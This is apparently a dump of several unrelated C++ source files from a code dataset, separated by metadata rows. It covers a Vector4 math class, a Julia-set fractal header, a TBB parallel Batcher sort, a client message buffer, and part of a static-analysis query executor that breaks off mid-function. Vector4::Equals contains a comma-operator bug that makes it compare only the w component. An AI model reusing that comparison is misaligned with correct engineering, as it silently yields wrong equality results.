return acos(dot(a_other));
}
Vector4 Vector4::Max(const Vector4& a_other) {
return Vector4(maxVal(x, a_other.x), maxVal(y, a_other.y), maxVal(z, a_other.z), maxVal(w, a_other.w));
}
// Returns a vector made of the smallest components of two vectors
Vector4 Vector4::Min(const Vector4& a_other) {
return Vector4(minVal(x, a_other.x), minVal(y, a_other.y), minVal(z, a_other.z), minVal(w, a_other.w));
}
bool Vector4::Equals(const Vector4& a_other) {
if (x == a_other.x && y == a_other.y && z == a_other.z, w == a_other.w) {
return true;
}
else {
return false;
}
}
void Vector4::Set(float a_newX, float a_newY, float a_newZ, float a_newW) {
x = a_newX;
y = a_newY;
z = a_newZ;
w = a_newW;
}
float Vector4::maxVal(float a_lhs, float a_rhs) {
// if the left hand side float is larger than the right hand side float
if (a_lhs > a_rhs) {
// return the left hand side
return a_lhs;
}
else {
// otherwise, return the right hand side (returns a_rhs even if both values are the same)
return a_rhs;
}
}
float Vector4::minVal(float a_lhs, float a_rhs) {
// if the left hand side float is smaller than the right hand side float
if (a_lhs < a_rhs) {
// return the left hand side
return a_lhs;
}
else {
// otherwise, return the right hand side (returns a_rhs even if both values are the same)
return a_rhs;
}
}
Vector4 operator*(const float & a_lhs, const Vector4 & a_rhs)
{
return a_rhs * a_lhs;
}
| true |
b34c512f1beedb6e90ae05f916e61a1ef8983eda | C++ | oEliteo/Fractal_Project | /src/JuliaSet.h | UTF-8 | 984 | 2.65625 | 3 | [] | no_license | #ifndef _JULIASET_H_
#define _JULIASET_H_
#include "ComplexFractal.h"
#include "NumberGrid.h"
class JuliaSet: public ComplexFractal{
public:
JuliaSet();
JuliaSet(const int& height, const int& width, const double& mine_x, const double& max_x, const double& min_y, const double& max_y, const double& a, const double& b);
virtual ~JuliaSet();
double getA() const;
double getB() const;
void setParameters(const double& a, const double& b);
virtual void calculateNextPoint(const double& x0, const double& y0, double& x1, double& y1) const;
virtual int calculatePlaneEscapeCount(const double& x0, const double& y0) const;
virtual int calculateNumber( const int& row, const int& column ) const;
private:
double mA;
double mB;
};
// class JuliaSetFour: public JuliaSet{
// public:
// JuliaSetFour();
// virtual ~JuliaSetFour();
// virtual void calculateNextPoint(const double x0, const double y0, double& x1, double& y1) const;
// };
#endif //_JULIASET_H_ | true |
d3203d3eae79f9b2c0b4158126b0f8eddc8812c9 | C++ | alvls/parprog-2018-1 | /groups/1506-3/levkin_aa/3-tbb/solution3.cpp | UTF-8 | 5,056 | 2.625 | 3 | [] | no_license | #include "stdafx.h"
#include "solution3.h"
#include "solution.h"
#include <iostream>
#include <vector>
#include <algorithm>
#include "tbb/parallel_for_each.h"
#include "tbb/task_scheduler_init.h"
using namespace std;
struct comparator
{
int id1;
int id2;
int realLvl;
comparator(int id1, int id2, int realLvl)
{
this->id1 = id1;
this->id2 = id2;
this->realLvl = realLvl;
}
};
template <typename Tadd> void mergeMass(Tadd&& add, int iStart, int iFinish, int tmpRS, int realSize)
{
int count = tmpRS * 2;
if ((iFinish - iStart) > count)
{
mergeMass(add, iStart, iFinish, count, realSize);
mergeMass(add, iStart + tmpRS, iFinish, count, realSize);
for (int i = iStart + tmpRS; i + tmpRS < min(iFinish, realSize); i += count)
add(i, i + tmpRS);
}
else
{
if (iStart + tmpRS < realSize)
add(iStart, iStart + tmpRS);
}
}
template <typename Tadd> void sortMass(Tadd&& add, int iStart, int iFinish, int realSize)
{
if ((iFinish - iStart) > 1)
{
int halfSizeMass = iStart + (iFinish - iStart) / 2;
sortMass(add, iStart, halfSizeMass, realSize);
sortMass(add, halfSizeMass, iFinish, realSize);
mergeMass(add, iStart, iFinish, 1, realSize);
}
}
template <typename Tadd> void generateComparators(Tadd&& add, int realSize)
{
int deep = 0;
int temp = realSize;
while (temp > 1)
{
temp /= 2;
deep++;
}
int size = (realSize == (1 << deep)) ? realSize : (2 << deep);
sortMass(add, 0, size, realSize);
}
template<typename Tmass> void sort(vector<Tmass>& vMass, int numThreads)
{
tbb::task_scheduler_init init(numThreads);
vector<int> maxLvl(numThreads, -1);
vector<vector<comparator>> levels;
generateComparators([&](int id1, int id2)
{
int lk1 = maxLvl[id1];
int lk2 = maxLvl[id2];
int realLvl = max(lk1, lk2) + 1;
maxLvl[id1] = max(lk1, realLvl);
maxLvl[id2] = max(lk2, realLvl);
if (levels.size() <= realLvl)
levels.emplace_back();
levels[realLvl].emplace_back(id1, id2, realLvl);
levels[realLvl].emplace_back(id2, id1, realLvl);
}, numThreads);
size_t division = vMass.size() / numThreads;
size_t remainder = vMass.size() % numThreads;
if (remainder > 0)
{
division++;
remainder = numThreads - remainder;
}
Tmass* data = vMass.data();
vector<vector<Tmass>> vTempMemory(numThreads);
for (int i = 0; i < numThreads; i++)
vTempMemory[i].resize(division);
vector<int> index(numThreads);
for (int i = 0; i < numThreads; i++)
index[i] = i;
tbb::parallel_for_each(index.begin(), index.end(), [&](int id)
{
size_t iStart = id * division;
size_t iFinish = (id + 1) * division;
if (id == (numThreads - 1))
iFinish -= remainder;
sort(data + iStart, data + iFinish);
});
auto step = [&](const comparator& comp)
{
size_t id = comp.id2;
size_t iStart = id * division;
size_t iFinish = (id + 1) * division;
if (id == (numThreads - 1))
iFinish -= remainder;
Tmass* vTempMemory2 = vTempMemory[id].data();
size_t length = 0;
size_t iS = (comp.id1 < comp.id2) ? comp.id1 : comp.id2;
size_t iF = (comp.id1 > comp.id2) ? comp.id1 : comp.id2;
if (id == iS)
{
length = (iF == (numThreads - 1)) ? (division - remainder) : division;
size_t iRes = iStart, iCurr = division * iF, iTmp = 0;
for (; (iTmp < iFinish - iStart) && (iCurr < (length + division * iF)); iTmp++)
{
Tmass result = data[iRes];
Tmass current = data[iCurr];
if (result < current)
{
vTempMemory2[iTmp] = result;
iRes++;
}
else
{
vTempMemory2[iTmp] = current;
iCurr++;
}
}
for (; iTmp < iFinish - iStart; iTmp++, iRes++)
vTempMemory2[iTmp] = data[iRes];
}
else if (id == iF)
{
length = division;
size_t iRes = iFinish - 1, iCurr = division * iS + length, iTmp = iFinish - iStart;
for (; (iTmp >= 1); iTmp--)
{
Tmass result = data[iRes];
Tmass current = data[iCurr - 1];
if (result > current)
{
vTempMemory2[iTmp - 1] = result;
iRes--;
}
else
{
vTempMemory2[iTmp - 1] = current;
iCurr--;
}
}
}
};
auto step2 = [&](const comparator& comp)
{
size_t id = comp.id1;
size_t iStart = id * division;
size_t iFinish = (id + 1) * division;
if (id == (numThreads - 1))
iFinish -= remainder;
Tmass* vTempMemory2 = vTempMemory[id].data();
for (size_t i = 0; i < iFinish - iStart; i++)
data[iStart + i] = vTempMemory2[i];
};
for (auto& x : levels)
{
tbb::parallel_for_each(x.begin(), x.end(), step);
tbb::parallel_for_each(x.begin(), x.end(), step2);
}
}
void qsortBatcher3(int* mass, int size, int numThreads)
{
if (numThreads <= 1)
{
qsortBatcher(mass, size);
return;
}
vector<int> tmpVectorMass;
for (int i = 0; i < size; i++)
tmpVectorMass.push_back(mass[i]);
sort(tmpVectorMass, numThreads);
for (int i = 0; i < size; i++)
mass[i] = tmpVectorMass[i];
} | true |
61fb8f8a18e52c94925f4dad7d872601fb423a61 | C++ | platelk/project | /bomberman/inc/Daemon/ClientBuffer.hpp | UTF-8 | 1,327 | 2.59375 | 3 | [] | no_license | //
// ClientBuffer.hpp for ClientBuffer in /home/guiho_r/depot/bomberman/inc/Daemon
//
// Made by ronan guiho
// Login <guiho_r@epitech.net>
//
// Started on Tue May 14 10:21:02 2013 ronan guiho
// Last update Thu May 16 14:35:50 2013 vink
//
#ifndef __CLIENT_BUFFER_HPP__
#define __CLIENT_BUFFER_HPP__
#include <time.h>
#include <queue>
namespace Daemon
{
template<typename T>
class ClientBuffer
{
private:
unsigned int _maxstack;
time_t _time;
int _timeout;
std::queue<T> _queue;
public:
ClientBuffer(const unsigned int maxstack, const int timeout)
: _maxstack(maxstack), _timeout(timeout)
{
time(&this->_time);
}
void push(T elem)
{
time(&this->_time);
this->_queue.push(elem);
}
T pop()
{
T elem;
elem = this->_queue.front();
this->_queue.pop();
return (elem);
}
const time_t &getTime() const
{
return (this->_time);
}
void setTimeout(const int timeout)
{
this->_timeout = timeout;
}
bool isEmpty() const
{
return (this->_queue.empty());
}
bool isTimeout() const
{
time_t time_end;
time(&time_end);
return ((difftime(time_end, this->_time) >= this->_timeout ||
this->_queue.size() >= this->_maxstack) ? true : false);
}
};
}
#endif
| true |
52201cc99463610f7cedfeabd03552a6510f7092 | C++ | plosslaw/CS3203-SPA-TEAM-07 | /Team07/Code07/src/spa/src/ActionsExecutor.cpp | UTF-8 | 37,051 | 2.796875 | 3 | [] | no_license | #include "ActionsExecutor.h"
using namespace std;
/**
* Constructors
*/
ActionsExecutor::ActionsExecutor() {}
ActionsExecutor::ActionsExecutor(PKBQueryController pkb_query_controller) {
this->pkb_query_controller = pkb_query_controller;
this->consts = pkb_query_controller.getAllConstants();
this->procs = pkb_query_controller.getAllProcedures();
this->stmts = pkb_query_controller.getAllStatements();
this->stmts_assign = pkb_query_controller.getStatementsOfType(stmt_type::ASSIGN);
this->stmts_call = pkb_query_controller.getStatementsOfType(stmt_type::CALL);
this->stmts_if = pkb_query_controller.getStatementsOfType(stmt_type::IF);
this->stmts_print = pkb_query_controller.getStatementsOfType(stmt_type::PRINT);
this->stmts_read = pkb_query_controller.getStatementsOfType(stmt_type::READ);
this->stmts_while = pkb_query_controller.getStatementsOfType(stmt_type::WHILE);
this->vars = pkb_query_controller.getAllVariables();
for (stmt_ref assign_stmt : this->stmts_assign) {
this->unique_set_assign.insert(assign_stmt);
}
}
/**
* Basic API
*/
bool ActionsExecutor::is_follows(stmt_ref s1, stmt_ref s2, bool is_starred) {
if (!is_starred) {
return this->pkb_query_controller.isFollows(s1, s2);
}
return this->pkb_query_controller.isFollowsStar(s1, s2);
}
bool ActionsExecutor::is_parent(stmt_ref s1, stmt_ref s2, bool is_starred) {
if (!is_starred) {
return this->pkb_query_controller.isParent(s1, s2);
}
return this->pkb_query_controller.isParentStar(s1, s2);
}
bool ActionsExecutor::statement_uses(stmt_ref s, var_ref v) {
return this->pkb_query_controller.statementUses(s, v);
}
bool ActionsExecutor::statement_modifies(stmt_ref s, var_ref v) {
return this->pkb_query_controller.statementModifies(s, v);
}
bool ActionsExecutor::satisfies_pattern(assign_ref a, pattern p) {
return this->pkb_query_controller.satisfiesPattern(a, p);
}
vector<const_value> ActionsExecutor::get_all_constants() {
return this->consts;
}
vector<proc_ref> ActionsExecutor::get_all_procedures() {
return this->procs;
}
vector<stmt_ref> ActionsExecutor::get_all_statements() {
return this->stmts;
}
vector<stmt_ref> ActionsExecutor::get_all_statements_of_type(stmt_type type) {
switch (type) {
case stmt_type::ASSIGN:
return this->stmts_assign;
case stmt_type::CALL:
return this->stmts_call;
case stmt_type::IF:
return this->stmts_if;
case stmt_type::PRINT:
return this->stmts_print;
case stmt_type::READ:
return this->stmts_read;
case stmt_type::WHILE:
return this->stmts_while;
case stmt_type::STATEMENT:
return this->stmts;
default:
throw "Invalid statement type passed";
}
}
vector<var_ref> ActionsExecutor::get_all_variables() {
return this->vars;
}
/**
* Single Clause API
*/
// Such That Clauses
// Wildcard operation
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_follows(stmt_type type, arg_pos pos, bool is_starred) {
vector<stmt_ref> stmts;
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
switch (type) {
case stmt_type::ASSIGN:
stmts = this->stmts_assign;
break;
case stmt_type::CALL:
stmts = this->stmts_call;
break;
case stmt_type::IF:
stmts = this->stmts_if;
break;
case stmt_type::PRINT:
stmts = this->stmts_print;
break;
case stmt_type::READ:
stmts = this->stmts_read;
break;
case stmt_type::WHILE:
stmts = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
if (pos == arg_pos::FIRST_ARG && is_starred) {
for (stmt_ref stmt_wildcard : this->stmts) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollowsStar(stmt, stmt_wildcard)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::FIRST_ARG && !is_starred) {
for (stmt_ref stmt_wildcard : this->stmts) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollows(stmt, stmt_wildcard)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::SECOND_ARG && is_starred) {
for (stmt_ref stmt_wildcard : this->stmts) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollowsStar(stmt_wildcard, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::SECOND_ARG && !is_starred) {
for (stmt_ref stmt_wildcard : this->stmts) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollows(stmt_wildcard, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else {
throw "Unexpected path";
}
return results;
}
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_follows_ref(stmt_type type, arg_pos pos, stmt_ref other_stmt, bool is_starred) {
vector<stmt_ref> stmts;
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
switch (type) {
case stmt_type::ASSIGN:
stmts = this->stmts_assign;
break;
case stmt_type::CALL:
stmts = this->stmts_call;
break;
case stmt_type::IF:
stmts = this->stmts_if;
break;
case stmt_type::PRINT:
stmts = this->stmts_print;
break;
case stmt_type::READ:
stmts = this->stmts_read;
break;
case stmt_type::WHILE:
stmts = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
if (pos == arg_pos::FIRST_ARG && is_starred) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollowsStar(stmt, other_stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
} else if (pos == arg_pos::FIRST_ARG && !is_starred) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollows(stmt, other_stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
} else if (pos == arg_pos::SECOND_ARG && is_starred) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollowsStar(other_stmt, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
} else if (pos == arg_pos::SECOND_ARG && !is_starred) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollows(other_stmt, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
} else {
throw "Unexpected path";
}
return results;
}
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_follows_type(stmt_type type, arg_pos pos, stmt_type other_stmt_type, bool is_starred) {
vector<stmt_ref> stmts;
vector<stmt_ref> stmts_wildcard = this->get_all_statements_of_type(other_stmt_type);
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
switch (type) {
case stmt_type::ASSIGN:
stmts = this->stmts_assign;
break;
case stmt_type::CALL:
stmts = this->stmts_call;
break;
case stmt_type::IF:
stmts = this->stmts_if;
break;
case stmt_type::PRINT:
stmts = this->stmts_print;
break;
case stmt_type::READ:
stmts = this->stmts_read;
break;
case stmt_type::WHILE:
stmts = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
if (pos == arg_pos::FIRST_ARG && is_starred) {
for (stmt_ref stmt_wildcard : stmts_wildcard) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollowsStar(stmt, stmt_wildcard)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::FIRST_ARG && !is_starred) {
for (stmt_ref stmt_wildcard : stmts_wildcard) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollows(stmt, stmt_wildcard)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::SECOND_ARG && is_starred) {
for (stmt_ref stmt_wildcard : stmts_wildcard) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollowsStar(stmt_wildcard, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::SECOND_ARG && !is_starred) {
for (stmt_ref stmt_wildcard : stmts_wildcard) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isFollows(stmt_wildcard, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else {
throw "Unexpected path";
}
return results;
}
// Wildcard operation
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_parent(stmt_type type, arg_pos pos, bool is_starred) {
vector<stmt_ref> stmts;
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
switch (type) {
case stmt_type::ASSIGN:
stmts = this->stmts_assign;
break;
case stmt_type::CALL:
stmts = this->stmts_call;
break;
case stmt_type::IF:
stmts = this->stmts_if;
break;
case stmt_type::PRINT:
stmts = this->stmts_print;
break;
case stmt_type::READ:
stmts = this->stmts_read;
break;
case stmt_type::WHILE:
stmts = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
if (pos == arg_pos::FIRST_ARG && is_starred) {
for (stmt_ref stmt_wildcard : this->stmts) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParentStar(stmt, stmt_wildcard)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::FIRST_ARG && !is_starred) {
for (stmt_ref stmt_wildcard : this->stmts) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParent(stmt, stmt_wildcard)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::SECOND_ARG && is_starred) {
for (stmt_ref stmt_wildcard : this->stmts) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParentStar(stmt_wildcard, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::SECOND_ARG && !is_starred) {
for (stmt_ref stmt_wildcard : this->stmts) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParent(stmt_wildcard, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else {
throw "Unexpected path";
}
return results;
}
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_parent_ref(stmt_type type, arg_pos pos, stmt_ref other_stmt, bool is_starred) {
vector<stmt_ref> stmts;
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
switch (type) {
case stmt_type::ASSIGN:
stmts = this->stmts_assign;
break;
case stmt_type::CALL:
stmts = this->stmts_call;
break;
case stmt_type::IF:
stmts = this->stmts_if;
break;
case stmt_type::PRINT:
stmts = this->stmts_print;
break;
case stmt_type::READ:
stmts = this->stmts_read;
break;
case stmt_type::WHILE:
stmts = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
if (pos == arg_pos::FIRST_ARG && is_starred) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParentStar(stmt, other_stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
} else if (pos == arg_pos::FIRST_ARG && !is_starred) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParent(stmt, other_stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
} else if (pos == arg_pos::SECOND_ARG && is_starred) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParentStar(other_stmt, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
} else if (pos == arg_pos::SECOND_ARG && !is_starred) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParent(other_stmt, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
} else {
throw "Unexpected path";
}
return results;
}
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_parent_type(stmt_type type, arg_pos pos, stmt_type other_stmt_type, bool is_starred) {
vector<stmt_ref> stmts;
vector<stmt_ref> stmts_wildcard = this->get_all_statements_of_type(other_stmt_type);
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
switch (type) {
case stmt_type::ASSIGN:
stmts = this->stmts_assign;
break;
case stmt_type::CALL:
stmts = this->stmts_call;
break;
case stmt_type::IF:
stmts = this->stmts_if;
break;
case stmt_type::PRINT:
stmts = this->stmts_print;
break;
case stmt_type::READ:
stmts = this->stmts_read;
break;
case stmt_type::WHILE:
stmts = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
if (pos == arg_pos::FIRST_ARG && is_starred) {
for (stmt_ref stmt_wildcard : stmts_wildcard) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParentStar(stmt, stmt_wildcard)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::FIRST_ARG && !is_starred) {
for (stmt_ref stmt_wildcard : stmts_wildcard) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParent(stmt, stmt_wildcard)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::SECOND_ARG && is_starred) {
for (stmt_ref stmt_wildcard : stmts_wildcard) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParentStar(stmt_wildcard, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else if (pos == arg_pos::SECOND_ARG && !is_starred) {
for (stmt_ref stmt_wildcard : stmts_wildcard) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.isParent(stmt_wildcard, stmt)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
} else {
throw "Unexpected path";
}
return results;
}
// Wildcard operation
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_modifies(stmt_type type) {
vector<stmt_ref> stmts;
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
switch (type) {
case stmt_type::ASSIGN:
stmts = this->stmts_assign;
break;
case stmt_type::CALL:
stmts = this->stmts_call;
break;
case stmt_type::IF:
stmts = this->stmts_if;
break;
case stmt_type::PRINT:
stmts = this->stmts_print;
break;
case stmt_type::READ:
stmts = this->stmts_read;
break;
case stmt_type::WHILE:
stmts = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
for (var_ref var_wildcard : this->vars) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.statementModifies(stmt, var_wildcard)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
return results;
}
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_modifies(stmt_type type, var_ref var) {
vector<stmt_ref> stmts;
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
switch (type) {
case stmt_type::ASSIGN:
stmts = this->stmts_assign;
break;
case stmt_type::CALL:
stmts = this->stmts_call;
break;
case stmt_type::IF:
stmts = this->stmts_if;
break;
case stmt_type::PRINT:
stmts = this->stmts_print;
break;
case stmt_type::READ:
stmts = this->stmts_read;
break;
case stmt_type::WHILE:
stmts = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.statementModifies(stmt, var)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
return results;
}
// Wildcard operation
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_uses(stmt_type type) {
vector<stmt_ref> stmts;
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
switch (type) {
case stmt_type::ASSIGN:
stmts = this->stmts_assign;
break;
case stmt_type::CALL:
stmts = this->stmts_call;
break;
case stmt_type::IF:
stmts = this->stmts_if;
break;
case stmt_type::PRINT:
stmts = this->stmts_print;
break;
case stmt_type::READ:
stmts = this->stmts_read;
break;
case stmt_type::WHILE:
stmts = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
for (var_ref var_wildcard : this->vars) {
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.statementUses(stmt, var_wildcard)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
}
return results;
}
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_uses(stmt_type type, var_ref var) {
vector<stmt_ref> stmts;
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
switch (type) {
case stmt_type::ASSIGN:
stmts = this->stmts_assign;
break;
case stmt_type::CALL:
stmts = this->stmts_call;
break;
case stmt_type::IF:
stmts = this->stmts_if;
break;
case stmt_type::PRINT:
stmts = this->stmts_print;
break;
case stmt_type::READ:
stmts = this->stmts_read;
break;
case stmt_type::WHILE:
stmts = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
for (stmt_ref stmt : stmts) {
if (pkb_query_controller.statementUses(stmt, var)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
return results;
}
// Wildcard operation
std::vector<proc_ref> ActionsExecutor::get_all_procedures_modifies() {
vector<proc_ref> results;
unordered_set<proc_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
for (var_ref var_wildcard : this->vars) {
for (proc_ref proc : this->procs) {
if (pkb_query_controller.procedureModifies(proc, var_wildcard)) {
if (unique_set.find(proc) == unique_set.end()) {
unique_set.insert(proc);
results.push_back(proc);
}
}
}
}
return results;
}
std::vector<proc_ref> ActionsExecutor::get_all_procedures_modifies(var_ref var) {
vector<proc_ref> results;
unordered_set<proc_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
for (proc_ref proc : this->procs) {
if (pkb_query_controller.procedureModifies(proc, var)) {
if (unique_set.find(proc) == unique_set.end()) {
unique_set.insert(proc);
results.push_back(proc);
}
}
}
return results;
}
// Wildcard operation
std::vector<proc_ref> ActionsExecutor::get_all_procedures_uses() {
vector<proc_ref> results;
unordered_set<proc_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
for (var_ref var_wildcard : this->vars) {
for (proc_ref proc : this->procs) {
if (pkb_query_controller.procedureUses(proc, var_wildcard)) {
if (unique_set.find(proc) == unique_set.end()) {
unique_set.insert(proc);
results.push_back(proc);
}
}
}
}
return results;
}
std::vector<proc_ref> ActionsExecutor::get_all_procedures_uses(var_ref var) {
vector<proc_ref> results;
unordered_set<proc_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
for (proc_ref proc : this->procs) {
if (pkb_query_controller.procedureUses(proc, var)) {
if (unique_set.find(proc) == unique_set.end()) {
unique_set.insert(proc);
results.push_back(proc);
}
}
}
return results;
}
// Wildcard operation
std::vector<var_ref> ActionsExecutor::get_all_variables_modifies() {
vector<var_ref> results;
unordered_set<var_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
for (proc_ref proc_wildcard : this->procs) {
for (var_ref var : this->vars) {
if (pkb_query_controller.procedureModifies(proc_wildcard, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
}
// TODO(plosslaw): refactor to reduce nesting
for (stmt_ref stmt_wildcard : this->stmts) {
for (var_ref var : this->vars) {
if (pkb_query_controller.statementModifies(stmt_wildcard, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
}
return results;
}
std::vector<var_ref> ActionsExecutor::get_all_variables_modifies(proc_ref procedure) {
vector<var_ref> results;
unordered_set<var_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
for (var_ref var : this->vars) {
if (pkb_query_controller.procedureModifies(procedure, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
return results;
}
std::vector<var_ref> ActionsExecutor::get_all_variables_modifies_ref(stmt_ref other_stmt) {
vector<var_ref> results;
unordered_set<var_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
